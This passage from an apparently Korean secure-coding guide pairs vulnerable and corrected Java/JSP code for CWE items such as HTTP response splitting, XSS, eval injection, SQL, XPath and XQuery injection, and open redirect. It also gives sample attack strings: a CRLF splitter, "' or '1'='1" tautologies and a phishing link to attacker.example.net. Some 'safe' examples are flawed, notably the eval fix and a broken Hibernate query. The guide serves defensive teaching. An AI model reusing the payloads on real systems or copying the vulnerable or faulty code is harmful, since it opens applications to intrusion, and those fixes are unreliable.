가. 정의

HTTP 요청에 들어 있는 인자값이 HTTP 응답헤더에 포함되어 사용자에게 다시 전달되는 경우 입력값에 CR(Carriage Return)이나 LF(Line Feed)와 같은 개행문자가 존재하면 HTTP 응답이 2개 이상으로 분리될 수 있다. 이 경우 공격자는 개행문자를 이용하여 첫번째 응답을 종료시키고 두 번째 응답에 악의적인 코드를 주입할 수 있게 되어 공격자는 두 번째 응답을 이용해서 XSS 및 캐시 훼손(cache poisoning) 공격과 같은 것을 시도할 수 있다.

나. 안전한 코딩기법

외부에서 입력된 인자값을 사용하여 HTTP 응답헤더(Set Cookie 등)에 포함시킬 경우 CR,LF등이 제거하거나 적절한 인코딩 기법을 사용하여 변환한다.

다. 예제

안전하지 않는 코드 예제
1: public class U113 extends HttpServlet {
2: public void doPost(HttpServletRequest request, HttpServletResponse response)
3: throws IOException, ServletException {
4: response.setContentType("text/html");
5: // 사용자의 입력정보를 받아서 쿠키를 생성한다.
6: String author = request.getParameter("authorName" );
7: Cookie cookie = new Cookie("replidedAuthor" , author);
8: cookie.setMaxAge(1000);
9: // cookie.setSecure(true); // HTTP로 서비스하는 경우 쿠키 값 설정 안됨(위험)
10: // HTTPS 서비스만 제공하는 경우 사용
11: ...
12: // 생성된 쿠키를 브라우저에 전송해 저장하도록 한다.
13: response.addCookie(cookie);
14: RequestDispatcher frd = request.getRequestDispatcher("cookieTest.jsp");
15: frd.forward(request, response);
16: }
17: }

위 예제는 외부의 입력값을 사용하여 반환되는 쿠키의 값을 설정하고 있다. 그런데, 공격자가 “Wiley Hacker\r\nHTTP/1.1 200 OK\r\n”를 authorName의 값으로 설정할 경우, 아래의 예와 같이 의도하지 않은 두개의 페이지가 전달된다. 또한 두번째 응답 페이지는 공격자가 마음대로 수정 가능하다.

(예 : HTTP/1.1 200 OK...Set-Cookie: author=Wiley Hacker HTTP/1.1 200 OK...)
안전한 코드 예제
1: public class S113 extends HttpServlet {
2: public void doPost(HttpServletRequest request, HttpServletResponse response)
3: throws IOException, ServletException {
4: response.setContentType("text/html");
5:
6: // 사용자 정보를 읽어온다.
7: String author = request.getParameter("authorName");
8: if (author == null || "".equals(author)) return;
9:
10: // 헤더값이 두개로 나뉘어지는 것을 방지하기 위해 외부에서 입력되는 \n과 \r
등을 제거한다.
11: String filtered_author = author.replaceAll("\r" , " ").replaceAll("\n" , " ");
12: Cookie cookie = new Cookie("replidedAuthor", filtered_author);
13: cookie.setMaxAge(1000);
14: cookie.setSecure(true);
15:
16: // 생성된 쿠키를 브라우저에 전송해 저장하도록 한다.
17: response.addCookie(cookie);
18: RequestDispatcher frd = request.getRequestDispatcher("cookieTest.jsp");
19: frd.forward(request, response);
20: }
21: }

외부에서 입력되는 값에 대하여 Null여부를 체크하고, 두개로 나누어 지는 것을 방지하기 위해 relpaceAll을 이용하여 개행문자(\r, \n)을 제거하여 헤더값이 나누어지는 것을 방지한다.

라. 참고 문헌

[1] CWE-113 HTTP 응답 분할 - http://cwe.mitre.org/data/definitions/113.html
[2] OWASP Top 10 2004 A1 Unvalidated Input
[3] OWASP Top 10 2007 A2 Injection Flaws
[4] Web Application Security Consortium 24 + 2 HTTP Response Splitting

13. 시스템 또는 구성 설정의 외부 제어(External Control of System or Configuration Setting)

가. 정의

시스템 설정이나 구성요소를 외부에서 제어할 수 있으면 예상치 못한 결과(예: 서비스 중단)를 초래하거나 악용될 가능성이 있다.

나. 안전한 코딩기법

외부의 입력을 Connection.setCatalog() 메소드의 인자값을 생성하는데 사용하지 않도록 한다. 불가피하게 사용해야 한다면, 외부의 입력을 화이트 리스트 방식으로 검사한 후 사용한다.

다. 예제

안전하지 않는 코드 예제
1: ……
2: public void f() {
3: try {
4: InitialContext ctx = new InitialContext();
5: DataSource datasource = (DataSource) ctx.lookup("jdbc:ocl:orcl");
6: Connection con = datasource.getConnection();
7: Properties props = new Properties();
8: String fileName = "file.properties";
9: FileInputStream in = new FileInputStream(fileName);
10: props.load(in);
11:
12: // catalog정보는 외부로부터 유입되는 정보
13: String catalog = props.getProperty("catalog");
14: // catalog정보를 DB Connection을 위해서 해당 값을 체크하지 않고, DB 카탈
로그 정보에 지정함
15: con.setCatalog(catalog);
16: con.close();
17: } catch (SQLException ex) {
18: System.err.println("SQLException Occured");
19: } catch (NamingException e) {
20: System.err.println("NamingException Occured");
21: } catch (FileNotFoundException e) {
22: System.err.println("FileNotFoundException Occured");
23: } catch (IOException e) {
24: System.err.println("IOException Occured");
25: }
26: }
27: ……

외부의 입력(catalog)이 JDBC의 활성화된 카탈로그를 설정하는데 사용되고 있다. 이때 존재하지 않는 카탈로그나 권한이 없는 카탈로그 이름이 전달되면 예외상황을 발생할 수 있다.

안전한 코드 예제
1: ……
2: public void f() {
3: try {
4: // caltalog 값으로 c1과 c2를 사용할 경우
5: InitialContext ctx = new InitialContext();
6: DataSource datasource = (DataSource) ctx.lookup("jdbc:ocl:orcl");
7: Connection con = datasource.getConnection();
8:
9: Properties props = new Properties();
10: String fileName= "file.properties";
11: String catalog;
12:
13: FileInputStream in = new FileInputStream(fileName);
14: if (in != null && in.available() > 0) {
15: props.load(in);
16:
17: if (props == null || props.isEmpty()) catalog = "c1";
18: else
19: catalog = props.getProperty("catalog");
20: } else
21: catalog = "c1";
22:
23: // 외부 유입 변수(catalog)에 대해서 값을 반드시 체크하고 걸러야 한다.
24: if ("c1" .equals(catalog))
25: con.setCatalog("c1" );
26: else
27: con.setCatalog("c2" );
28: con.close();
29: } catch (SQLException ex) {
30: System.err.println("SQLException Occured");
31: } catch (NamingException e) {
32: System.err.println("NamingException Occured");
33: } catch (FileNotFoundException e) {
34: System.err.println("FileNotFoundException Occured");
35: } catch (IOException e) {
36: System.err.println("IOException Occured");
37: }
38: }

외부의 입력값에 따라 카탈로그 이름이 바뀌어야 할 경우에는 해당 문자열을 직접 사용하지 말고, 미리 정의된 적절한 카탈로그 이름 중에 선택하여 사용한다.

라. 참고 문헌

[1] CWE-15 시스템 또는 구성 설정의 외부 제어 - http://cwe.mitre.org/data/definitions/15.html

가. 정의

외부에서 입력되는 스크립트 문자열이 웹페이지 생성에 사용되면 생성된 웹페이지를 열람하는 사용자에게 피해를 입힐 수 있다.

나. 안전한 코딩기법

JSP의 document.write() 메소드와 같이 JSP의 DOM 객체 출력을 수행하는 메소드의 인자 값으로 외부의 입력을 사용할 경우 위험한 문자를 제거하는 과정이 수행되어야 한다.

다. 예제

안전하지 않는 코드 예제
1: ……
2: <%
3: // 외부로 부터 입력을 받는다.
4: String name = request.getParameter("name");
5: %>
6: <SCRIPT language="javascript">
7: // 외부의 입력을 그대로 출력한다.
8: document.write("name:" + <%=name%> );

request.getParameter()에서 전달된 외부의 입력(name)이 document.write()의 인자값 생성에 그대로 사용되었다.

안전한 코드 예제
1: ……
2: <%
3: // 외부의 입력을 받는다.
4: String name = request.getParameter("name");
5: // 입력값에 대한 유효성 검사를 한다.
6: if ( name != null ) {
7: name = name.replaceAll("<","&lt;" );
8: name = name.replaceAll(">","&gt" );
9: } else { return; }
10: %>
11: <SCRIPT language="javascript">
12: // 입력값이 출력된다.
13: document.write("name:" + <%=name%> );

외부의 입력(name)으로부터 “<”와 ”>“같이 HTML에서 스크립트 생성에 사용되는 모든 문자열을 ”&lt;”와 “&gt;“로 변경한다.

라. 참고 문헌

[1] CWE-79 웹 페이지 구조 보존 실패 - http://cwe.mitre.org/data/definitions/79.html
CWE-80 크로스 사이트 스크립트 공격 취약점(XSS) - http://cwe.mitre.org/data/definitions/80.html
[2] OWASP Top 10 2010 - (OWASP 2010) A2 Cross Site Scripting (XSS)
[3] SANS Top 25 2010 - (SANS 2010) Insecure Interaction - CWE ID 079 ImproperNeutralization of Input During Web Page Generation ('Cross-site Scripting')

15. 동적으로 생성되어 수행되는 명령어 삽입(Improper Neutralization of Directives in Dynamically Evaluated Code ('Eval Injection'))

가. 정의

신뢰할 수 없는 외부입력이 적절한 검사과정을 거치지 않고 동적으로 수행되는 스크립트 또는 프로그램 명령어 문자열의 생성에 사용될 경우 의도했던 형태의 입력만 사용되도록 적절히 필터링해야 한다. 그렇지 않으면, 외부의 임의의 입력이 명령어로 사용되어 공격자는 원하는 임의의 작업을 수행할 수 있다.

나. 안전한 코딩기법

외부의 입력이 eval() 함수의 인자로 사용될 경우 외부에서 입력되는 JavaScript가 수행되지 않도록 위험문자를 제거해야 한다.

다. 예제

안전하지 않는 코드 예제
1: <%@page import="org.owasp.esapi.*"%>
2: <%@page contentType="text/html" pageEncoding="UTF-8"%>
3: <html>
4: <head>
5: <meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
6: </head>
7: <body>
8: <h1>Eval 취약점 샘플</h1>
9: <%
10: String evalParam = request.getparameter("eval" );
11: ……
12: %>
13: <script>
14: eval(<%=evalParam%>);
15: </script>
16: </body>
17: </html>

외부 입력(evalParam)을 eval() 함수의 인자로 사용하고 있다. 만약 외부 입력에 javascript로 된 코드가 있다면 이 코드가 eval()에 의해서 수행이 된다.

안전한 코드 예제
1: <%@page import="org.owasp.esapi.*"%>
2: <%@page contentType="text/html" pageEncoding="UTF-8"%>
3: <html>
4: <head>
5: <meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
6: </head>
7: <body>
8: <h1>Eval 취약점 샘플</h1>
9: <%
10: // 외부의 입력값을 받는다.
11: String evalParam = request.getparameter("eval");
12: // 입력값에 대한 유효성을 체크한다.
13: if ( evalParam != null ) {
14: evalParam = evalParam.replaceAll("<","&lt;" );
15: evalParam = evalParam.replaceAll(">","&gt;");
16: evalParam = evalParam.replaceAll("&" ,"&amp;");
17: evalParam = evalParam.replaceAll("(","&#40;" );
18: evalParam = evalParam.replaceAll(")","&#41;" );
19: evalParam = evalParam.replaceAll("\"" ,"&quot;" );
20: evalParam = evalParam.replaceAll("\'" ,"&apos;");
21: }
22: ……
23: %>
24: <script>
25: eval(<%=evalParam%>);
18: </script>
19: </body>
20: </html>

위와 같이 스크립트를 작성하는데 필요한 문자들(예: <, >, &, \ 등등)을 변경함으로써 외부 입력 코드의 수행을 방지할 수 있다.

라. 참고 문헌

[1] CWE-95 동적으로 생성되어 수행되는 명령어 삽입 - http://cwe.mitre.org/data/definitions/95.html
[2] OWASP Top Ten 2007 Category A3 - Malicious File Execution
[3] SANS Top 25 2009 - (SANS 2009) Insecure Interaction - CWE ID 116 Improper Encoding or Escaping of Outpu

16. 프로세스 제어(Process Control)

가. 정의

신뢰되지 않은 소스나 신뢰되지 않은 환경으로부터 라이브러리를 적재하거나 명령을 실행하면, 악의적인 코드가 실행될 수 있다.

나. 안전한 코딩기법

프로그램 내에서 라이브러리 적재시 절대경로를 사용한다.

다. 예제

안전하지 않는 코드 예제
1: ……
2: public void loadLibrary() throws SecurityException, UnsatisfiedLinkError, NullPointerException
{
3: // 외부 라이브러리를 호출 시 절대 경로가 들어 있지 않다.
4: Runtime.getRuntime().loadLibrary(" libraryName");
5: }
6: ……

위의 예제는 라이브러리명을 지정할 때 절대 경로를 사용하지 않고 있어서 공격자가 환경변수를 조작하면 다른 라이브러리가 적재될 수 있다.

안전한 코드 예제
1: ……
2: public void loadLibrary() throws SecurityException, UnsatisfiedLinkError, NullPointerException
{
3: // 외부 라이브러리 호출 시 절대 경로를 지정한다.
4: Runtime.getRuntime().loadLibrary("/usr/lib/libraryName" );
5: }
6: ……

절대 경로를 지정하면 환경 변수에 의하여 라이브러리가 변경되는 것을 방지할 수 있다.

라. 참고 문헌

[1] CWE-114 프로세스 제어 - http://cwe.mitre.org/data/definitions/114.html

17. 정수 오버플로우(Integer Overflow)

가. 정의

정수형 변수의 오버플로우는 정수값이 증가하면서, Java에서 허용된 가장 큰 값보다 더 커져서 실제 저장되는 값은 의도하지 않게 아주 작은 수이거나 음수가 될 수 있다. 이러한상황을 검사하지 않고 그 값을 순환문의 조건이나 메모리 할당, 메모리 복사 등에 쓰거나, 그 값에 근거해서 보안 관련 결정을 하면 취약점을 야기할 수 있다.

나. 안전한 코딩기법

동적 메모리 할당을 위해서 사용되는 변수가 이전 처리 과정에서 오버플로우에 의해서 음수값으로 변환될 수 있으므로 미리 변수의 값 범위를 검사한다.

다. 예제

안전하지 않는 코드 예제
1: ……
2: public static void main(String[] args) {
3: int size = new Integer(args[0]).intValue();
4: size += new Integer(args[1]).intValue();
5: MyClass[] data = new MyClass[size];
6: ……
7:

위의 예제는 외부의 입력(args[0], args[1])을 이용하여 동적으로 계산한 값을 배열의 크기(size)를 결정하는데 사용하고 있다. 만일 외부 입력으로부터 계산된 값(size)이 오버플로우에 의해 음수값이 되면 배열의 크기가 음수가 되어 코드에 문제 발생할 수 있다.

안전한 코드 예제
1: ……
2: public static void main(String[] args) {
3: int size = new Integer(args[0]).intValue();
4: size += new Integer(args[1]).intValue();
5: // 배열의 크기 값이 음수값이 아닌지 검사한다.
6: if (size < 0) return ;
7: MyClass[ ] data = new MyClass[size];
8: ……

동적 메모리 할당을 위해 크기를 사용하는 경우 그 값이 음수가 아닌지 검사하는 문장이 필요하다.

라. 참고 문헌

[1] CWE-190 정수 오버플로우 - http://cwe.mitre.org/data/definitions/190.html

18. 무제한 파일 업로드(Unrestricted Upload of File with Dangerous Type)

가. 정의

운영 환경 내에서 자동으로 처리될 수 있는 위험한 유형의 파일을 공격자가 업로드하거나 전송할 수 있게 허용하면 취약점을 야기할 수 있다.

나. 안전한 코딩기법

업로드하는 파일 타입과 크기를 제한하고, 업로드 디렉터리를 웹서버의 다큐먼트 외부에 설정한다.
화이트리스트 방식으로 허용된 확장자만 업로드되도록 하고, 확장자도 대소문자 구분 없이 처리하도록 한다.

다. 예제

안전하지 않는 코드 예제
1: ……
2: public void upload(HttpServletRequest request) throws ServletException {
3: MultipartHttpServletRequest mRequest = (MultipartHttpServletRequest) request;
4: String next = (String) mRequest.getFileNames().next();
5: MultipartFile file = mRequest.getFile(next);
6:
7: // MultipartFile로부터 file을 얻음
8: String fileName = file.getOriginalFilename();
9:
10: // upload 파일에 대한 확장자, 크기의 유효성 체크를 하지 않음
11: File uploadDir = new File("/app/webapp/data/upload/notice");
12: String uploadFilePath = uploadDir.getAbsolutePath()+"/" + fileName;
13:
14: /* 이하 file upload 루틴 */
15: ……

업로드할 파일에 대한 유효성을 검사하지 않으면, 위험한 유형의 파일을 공격자가 업로드하거나 전송할 수 있다.

안전한 코드 예제
1: ……
2: public void upload(HttpServletRequest request) throws ServletException {
3: MultipartHttpServletRequest mRequest = (MultipartHttpServletRequest) request;
4: String next = (String) mRequest.getFileNames().next();
5: MultipartFile file = mRequest.getFile(next);
6: if ( file == null )
7: return ;
8:
9: // 업로드 파일 크기를 제한한다.
10: int size = file.getSize();
11: if ( size > MAX_FILE_SIZE ) throw new ServletException("에러“);
12:
13: // MultipartFile로 부터 file을 얻음
14: String fileName = file.getOriginalFilename().toLowerCase();
15:
16: // 화이트리스트 방식으로 업로드 파일의 확장자를 체크한다.
17: if ( fileName != null ) {
18: if ( fileName.endsWith(".doc") || fileName.endsWith(".hwp" )
19: || fileName.endsWith(" .pdf") || fileName.endsWith(".xls" ) ) {
20: /* file 업로드 루틴 */
21: }
22: else throw new ServletExeption("에러");
23: }
24: // 업로드 파일의 디렉터리 위치는 다큐먼트 루트의 밖에 위치시킨다.
25: File uploadDir = new File("/app/webapp/data/upload/notice");
26: String uploadFilePath = uploadDir.getAbsolutePath()+"/" + fileName;
27:
28: /* 이하 file upload 루틴 */
29: ……

위의 예제는 업로드 파일의 크기와 위치를 제한하고 있다. 또한 파일의 확장자를 검사하여 허용되지 않은 확장자일 경우 업로드를 제한하고 있다.

라. 참고 문헌

[1] CWE-434 무제한 파일 업로드 - http://cwe.mitre.org/data/definitions/434.html
[2] OWASP Top Ten 2007 A3, Malicious File Execution
[3] SANS Top 25 2010 - (SANS 2010) Insecure Interaction - CWE ID 434 Unrestricted Upload of File with Dangerous Type

19. 안전하지 않은 리플렉션(Use of Externally-Controlled Input to Select Classes or Code ('Unsafe Reflection'))

가. 정의

동적 클래스 적재(loading)에 외부의 검증되지 않은 입력을 사용할 경우, 공격자가 외부 입력을 변조하여 의도하지 않은 클래스가 적재되도록 할 수 있다.

나. 안전한 코딩기법

외부의 입력을 직접 클래스 이름으로 사용하지 말고, 외부의 입력에 따라 미리 정한 후보(white list) 중에서 적절한 클래스 이름을 선택하도록 한다.

다. 예제

안전하지 않는 코드 예제
1: ……
2: public void f() {
3: Properties props = new Properties();
4: ....
5: if ( in !=null && in.available() > 0 ) {
6: props.load(in);
7: if ( props == null || props.isEmpty() )
8: return ;
9: }
10: String type = props.getProperty("type");
11: Worker w;
12:
13: // 외부에서 입력된 type값의 유효성을 검증하지 않고 있다.
14: try {
15: Class workClass = Class.forName(type + "Worker");
16: w = (Worker) workClass.newInstance();
17: w.doAction();
18: } catch (ClassNotFoundException e) { …… }
19: ……
20: }
21:
22: abstract class Worker {
23: String work = "";
24: public abstract void doAction();
25: }

위의 예제는 외부의 입력(type)을 클래스 이름의 일부로 사용하여 객체를 생성하고 있다.
이 경우 공격자가 외부 입력을 변조하여 부적절한 다른 클래스가 적재되도록 할 수 있다.

안전한 코드 예제
1: ……
2: public void f() {
3: Properties props = new Properties();
4: ....
5: if ( in !=null && in.available() > 0 ) {
6: props.load(in);
7: if ( props == null || props.isEmpty() )
8: return ;
9: }
10: String type = props.getProperty("type");
11: Worker w;
12:
13: // 외부 입력되는 값에 대해 유효성을 검증하여야한다.
14: if (type == null || "".equals(type)) return;
15: if (type.equals("Slow" )) {
16: w = new SlowWorker();
17: w.doAction();
18: } else if (type.equals("Hard" )) {
19: w = new HardWorker();
20: w.doAction();
21: } else {
22: System.err.printf("No propper class name!");
23: }
24: ……
25: }
26:
27: abstract class Worker {
28: String work = "";
29: public abstract void doAction();
30: }

외부의 입력(type)에 따라, 미리 정한 후보(white list) 중에서 적절한 클래스 이름이 설정되도록 함으로써, 외부의 악의적인 입력에 의하여 부적절한 클래스가 사용되는 위험성을 제거할 수 있다.

라. 참고 문헌

[1] CWE-470 안전하지 않은 리플렉션 - http://cwe.mitre.org/data/definitions/470.html

20. 무결성 점검 없는 코드 다운로드(Download of Code Without Integrity Check)

가. 정의

웹서버에서 수행될 수 있는 위험한 형식의 파일을 원격지로부터 다운로드하여, 코드의 출처나 무결성 검사없이 클라이언트에서 실행하는 경우 공격자가 의도하는 행위를 수행할 수 있다.

나. 안전한 코딩기법

SW의 자동 업데이트와 같이 다운로드될 코드를 제공할 때는 코드에 대한 암호화된 시그너쳐를 사용하고 클라이언트가 시그너쳐를 검증하도록 한다.

다. 예제

안전하지 않는 코드 예제
1: URL[] classURLs= new URL[]{new URL("file:subdir/")};
2: URLClassLoader loader = new URLClassLoader(classURLs);
3: Class loadedClass = Class.forName("MyClass", true, loader);

위의 프로그램은 URLClassLoader를 사용하여, 원격의 파일을 다운로드 한다. 다운로드 대상 파일에 대한 무결성 검사를 수행하지 않을 경우, 파일변조 등으로 피해가 발생할 수 있다.

안전한 코드 예제
1: // 서버에서는 private key를 가지고 MyClass를 암호화한다.
2: String jarFile = "./download/util.jar";
3: byte[] loadFile = FileManager.getBytes(jarFile);
4: loadFile = encrypt(loadFile,privateKey);
5: // jarFile명으로 암호화된 파일을 생성한다.
6: FileManager.createFile(loadFile,jarFileName);
7: ....
8: // 클라이언트에서는 파일을 다운로드 받을 경우 public key로 복호화 한다.
9: URL[] classURLs= new URL[]{new URL("http://filesave.com/download/util.jar")};
10: URLConnection conn=classURLs.openConnection();
11: InputStream is = conn.getInputStream();
12: // 입력 스트림을 읽어 서버의 jarFile명으로 파일을 출력한다.
13: FileOutputStream fos = new FileOutputStream(new File(jarFile));
14: while ( is.read(buf) != -1 ) {
15: ...
16: }
17: byte[] loadFile = FileManager.getBytes(jarFile);
18: loadFile = decrypt(loadFile,publicKey);
19: // 복호화된 파일을 생성한다.
20: FileManager.createFile(loadFile,jarFile);
21: URLClassLoader loader = new URLClassLoader(classURLs);
22: Class loadedClass = Class.forName("MyClass", true, loader);

공개키 방식의 암호알고리즘과 메커니즘을 이용하여 전송파일에 대한 시그니처를 생성하고, 파일의 변조유무를 판단한다.

라. 참고 문헌

[1] CWE-494 무결성 점검 없는 코드 다운로드 - http://cwe.mitre.org/data/definitions/494.html
[2] SANS Top 25 Most Dangerous Software Errors, http://www.sans.org/top25-software-errors/
[3] Richard Stanway (r1CH). “Dynamic File Uploads, Security and You
[4] Johannes Ullrich. “8 Basic Rules to Implement Secure File Uploads”. 2009-12-28

21. SQL 삽입 공격: Hibernate(SQL Injection: Hibernate)

가. 정의

외부의 신뢰할 수 없는 입력을 적절한 검사 과정을 거치지 않고 Hibernate API의 SQL 질의문 생성을 위한 문자열로 사용하면, 공격자가 프로그래머가 의도하지 않았던 문자열을 전달함으로써 질의문의 의미를 왜곡시키거나 그 구조를 변경하여 임의의 데이터베이스 명령어가 수행되도록 할 수 있다.

나. 안전한 코딩기법

질의문의 생성시 상수 문자열만 사용한다. 외부의 입력에 따라 질의문을 수정해야 한다면 인자를 받는 질의문을 상수 문자열로 생성한 후, 쿼리의 인자값을 setParameter(), set<타입이름>() 등의 메소드를 사용하여 설정한다.

다. 예제

안전하지 않는 코드 예제
1: ……
2: public void listHoney() {
3: Session session = new Configuration().configure().buildSessionFactory().openSession();
4: try {
5: Properties props = new Properties();
6: String fileName = "Hibernate.properties";
7: FileInputStream in = new FileInputStream(fileName);
8: props.load(in);
9: ……
10: // 외부로부터 입력을 받음
11: String idValue = props.getProperty(" idLow" );
12: // 외부 입력을 검증없이 SQL qeuery문의 인자로 사용한다.
13: Query query = session.createQuery("from Address a where a.name='" + idValue);
14: query.list();
15: } catch (IOException e) { …… }
16: ……

위의 예제는 외부의 입력(idValue)을 아무 검증과정 없이 질의문에 그대로 사용하고 있다.
만일, 외부의 입력으로 “n' or '1'='1” 과 같은 문자열이 입력되면, 다음과 같은 질의문이 생성되어 테이블 내의 모든 레코드가 반환된다.

("from Address a where a.name='n' or '1'='1'")
안전한 코드 예제
1: ……
2: public void listHoney() {
3: Session session = new Configuration().configure().buildSessionFactory().openSession();
4: try {
5: Properties props = new Properties();
6: String fileName = "Hibernate.properties";
7: FileInputStream in = new FileInputStream(fileName);
8: if (in == null || in.available() <= 0) return;
9: props.load(in);
10: ……
11: // 외부로 부터 입력을 받는다.
12: String idValue = props.getProperty("idLow");
13: // 입력값에 대한 유효성을 검사한다.
14: if (idValue == null || " " .equals(idValue)) idValue = "defaultID";
15: // SQL query 문장을 작성한다.
16: Query query = session.createSQLQuery("select h from Honey as h where h.id '= :idVal‘");
17: query.setParameter(" idVal", idValue);
18: query.list();
19: } catch (IOException e) { …… }
20: ……

외부 입력(idValue)에 따른 인자값은 setParameter 메소드를 사용하여 설정함으로써 질의문의 구조가 바뀌는 것을 방지할 수 있다.

라. 참고 문헌

[1] CWE-564 SQL 삽입 공격: Hibernate - http://cwe.mitre.org/data/definitions/564.html
[2] SANS Top 25 2009 - (SANS 2009) Insecure Interaction - CWE ID 116 Improper Encoding or Escaping of Output

22. 신뢰되지 않는 URL 주소로의 자동 접속 연결(URL Redirection to Untrusted Site ('Open Redirect'))

가. 정의

외부로부터 받은 문자열을 URL 주소로 사용하여 자동으로 연결하는 서버 프로그램은 취약점을 가질 수 있다. 일반적으로 클라이언트에게 전송된 폼으로부터 전송된 URL 주소로 연결하기 때문에 안전하다고 생각할 수 있으나, 해당 폼의 요청을 변조함으로써 공격자는 희생자가 위험한 URL로 접속할 수 있도록 공격할 수 있다.

나. 안전한 코딩기법

타 사이트로의 자동전환에 사용할 URL과 도메인들의 화이트리스트를 사용한다.

다. 예제

안전하지 않는 코드 예제
1: ……
2: protected void doGet(HttpServletRequest request, HttpServletResponse response)
3: throws ServletException, IOException {
4: String query = request.getQueryString();
5: if (query.contains("url")) {
6: String url = request.getParameter("url" );
7: response.sendRedirect(url);
8: }	
9: ……

위의 코드가 서버에 존재할 경우 공격자가 다음과 같은 링크를 희생자가 접근하도록 함으로써 희생자가 의도치 않는 사이트(피싱 사이트 등)로 접근하도록 만들 수 있다.

(<a href="http://bank.example.com/redirect?url=http://attacker.example.net">Click here to log in</a>)
안전한 코드 예제
1: ……
2: protected void doGet(HttpServletRequest request, HttpServletResponse response)
3: throws ServletException, IOException {
4: String query = request.getQueryString();
5:
6: // 다른 페이지 이동하는 URL 리스트를 만든다.
7: String allowURL[] = { "url1", "url2", "url3" };
8: ArrayList arr = new ArrayList();
9: for ( int i = 0; i < allowURL.length; i++ )
10: arr.add(allowURL[i]);
11:
12: if (query.contains("url")) {
13: String url = request.getParameter("url");
14: // url에 대한 유효성 점검을 한다. 만약 http://가 있으면 다른 도메인으로 URL을
redirect로 의심된다.
15: if (url != null && url.indexOf("http://") != -1 ) {
16: url = url.replaceAll("\r", "").replaceAll("\n", "");
17: // URL 목록에 있지 않으면 요청을 거부한다.
18: if ( !arr.contains(url) ) throw new MyException("에러“);
19: response.sendRedirect(url);
20: }
21: }
22: ……

접근할 URL 주소를 외부에서 직접 받는 것이 아니라, 허용할 URL과 도메인들의 화이트리스트를 작성한 다음 그 중에서 선택함으로써 악의적인 사이트 접근을 근원적으로 차단할 수 있다.

라. 참고 문헌

[1] CWE-601 신뢰되지 않는 URL 주소로의 자동 접속 연결 - http://cwe.mitre.org/data/definitions/601.html
[2] OWASP Top Ten 2010 Category A10 - Unvalidated Redirects and Forward
[3] SANS 2010 Top 25 - Insecure Interaction Between Components

23. XPath 삽입(Failure to Sanitize Data within XPath Expressions (XPath injection))

가. 정의

외부의 신뢰할 수 없는 입력을 적절한 검사 과정을 거치지 않고 XPath 질의문 생성을 위한 문자열로 사용하면, 공격자가 프로그래머가 의도하지 않았던 문자열을 전달함으로써 질의문의 의미를 왜곡시키거나 그 구조를 변경하고 임의의 질의 명령어를 수행할 수 있다.

나. 안전한 코딩기법

기본 질의문 골격에 인자값을 설정하는 인자화된 질의문을 사용할 수 있는 XQuery 등을 사용한다.

다. 예제

안전하지 않는 코드 예제
1: ……
2: // 외부로 부터 입력을 받음
3: String name = props.getProperty("name" );
4: String passwd = props.getProperty("password" );
5: ……
6: XPathFactory factory = XPathFactory.newInstance();
7: XPath xpath = factory.newXPath();
8: ……
9: // 외부 입력이 xpath의 인자로 사용
10: XPathExpression expr = xpath.compile("//users/user[login/text()='" + name
11: + "' and password/text() = '" + passwd + "']/home_dir/text()");
12: Object result = expr.evaluate(doc, XPathConstants.NODESET);
13: NodeList nodes = (NodeList) result;
14: for (int i = 0; i < nodes.getLength(); i++) {
15: String value = nodes.item(i).getNodeValue();
16: if (value.indexOf(">") < 0) {
17: System.out.println(value);
18: }
19: ……

위의 예제에서 name의 값으로 “user1”, passwd의 값으로 “' or ='”을 전달하면 다음과 같은 질의문이 생성되어 인증과정을 거치지 않고 로그인할 수 있다.
(/users/user[login/text()=‘user1' or
='' and password/text() = “ or ”=“]/home_dir/text())

안전한 코드 예제
dologin.xp 파일
1: declare variable $loginID as xs:string external;
2: declare variable $password as xs:string external;
3: //users/user[@loginID=$loginID and @password=$password]
XQuery를 이용한 XPath Injection 방지
1: // 외부로 부터 입력을 받음
2: String name = props.getProperty("name");
3: String passwd = props.getProperty("password");
4: Document doc = new Builder().build("users.xml");
5: // XQuery를 위한 정보 로딩
6: XQuery xquery = new XQueryFactory().createXQuery(new File("dologin.xq" ));
7: Map vars = new HashMap();
8: vars.put("loginID", name);
9: vars.put("password", passwd);
10: Nodes results = xquery.execute(doc, null, vars).toNodes();
11: for (int i=0; i < results.size(); i++) {
12: System.out.println(results.get(i).toXML());
13: }

위와 예제와 같이 인자화된 질의문을 지원하는 XQuery를 사용하여 미리 질의 골격을 생성하고 이에 인자값을 설정함으로써 외부의 입력으로 인하여 질의 구조가 바뀌는 것을 막을 수 있다.

라. 참고 문헌

[1] CWE-643 XPath 삽입 - http://cwe.mitre.org/data/definitions/643.html
[2] OWASP Top 10 2010 A1 Injection Flaws
[3] Web Application Security Consortium. “XPath Injection”.
http://www.webappsec.org/projects/threat/classes/xpath_injection.shtml

24. XQuery 삽입(Failure to Sanitize Data within XQuery Expressions (XQuery injection))

가. 정의

XQuery를 사용하여 XML 데이터에 접근하는 응용프로그램에서 외부의 입력이 질의문 문자열을 생성하는데 사용될 경우에, 공격자는 프로그래머가 의도하지 않았던 문자열을 전달함으로써 질의문의 의미를 왜곡시키거나 그 구조를 변경하여 임의의 질의 명령어를 수행할 수 있다.

나. 안전한 코딩기법

prepareExpression() 메소드에 상수 문자열을 사용하여 인자를 받는 질의문(Parameterized Query)을 생성하고, 나중에 인자를 설정함으로써 질의 구조의 변형을 방지한다.

다. 예제

안전하지 않는 코드 예제
1: ……
2: // 외부로 부터 입력을 받음
3: String name = props.getProperty("name" );
4: Hashtable env = new Hashtable();
5: env.put(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.ldap.LdapCtxFactory");
6: env.put(Context.PROVIDER_URL, "ldap://localhost:389/o=rootDir");
7: javax.naming.directory.DirContext ctx = new InitialDirContext(env);
8: javax.xml.xquery.XQDataSource xqds =
9: (javax.xml.xquery.XQDataSource) ctx.lookup("xqj/personnel");
10: javax.xml.xquery.XQConnection conn = xqds.getConnection();
11:
12: String es = "doc('users.xml')/userlist/user[uname='" + name + "']";
13: // 입력값이 Xquery의 인자로 사용
14: XQPreparedExpression expr = conn.prepareExpression(es);
15: XQResultSequence result = expr.executeQuery();
16: while (result.next()) {
17: String str = result.getAtomicValue();
18: if (str.indexOf('>') < 0) {
19: System.out.println(str);
20: }
21: ……

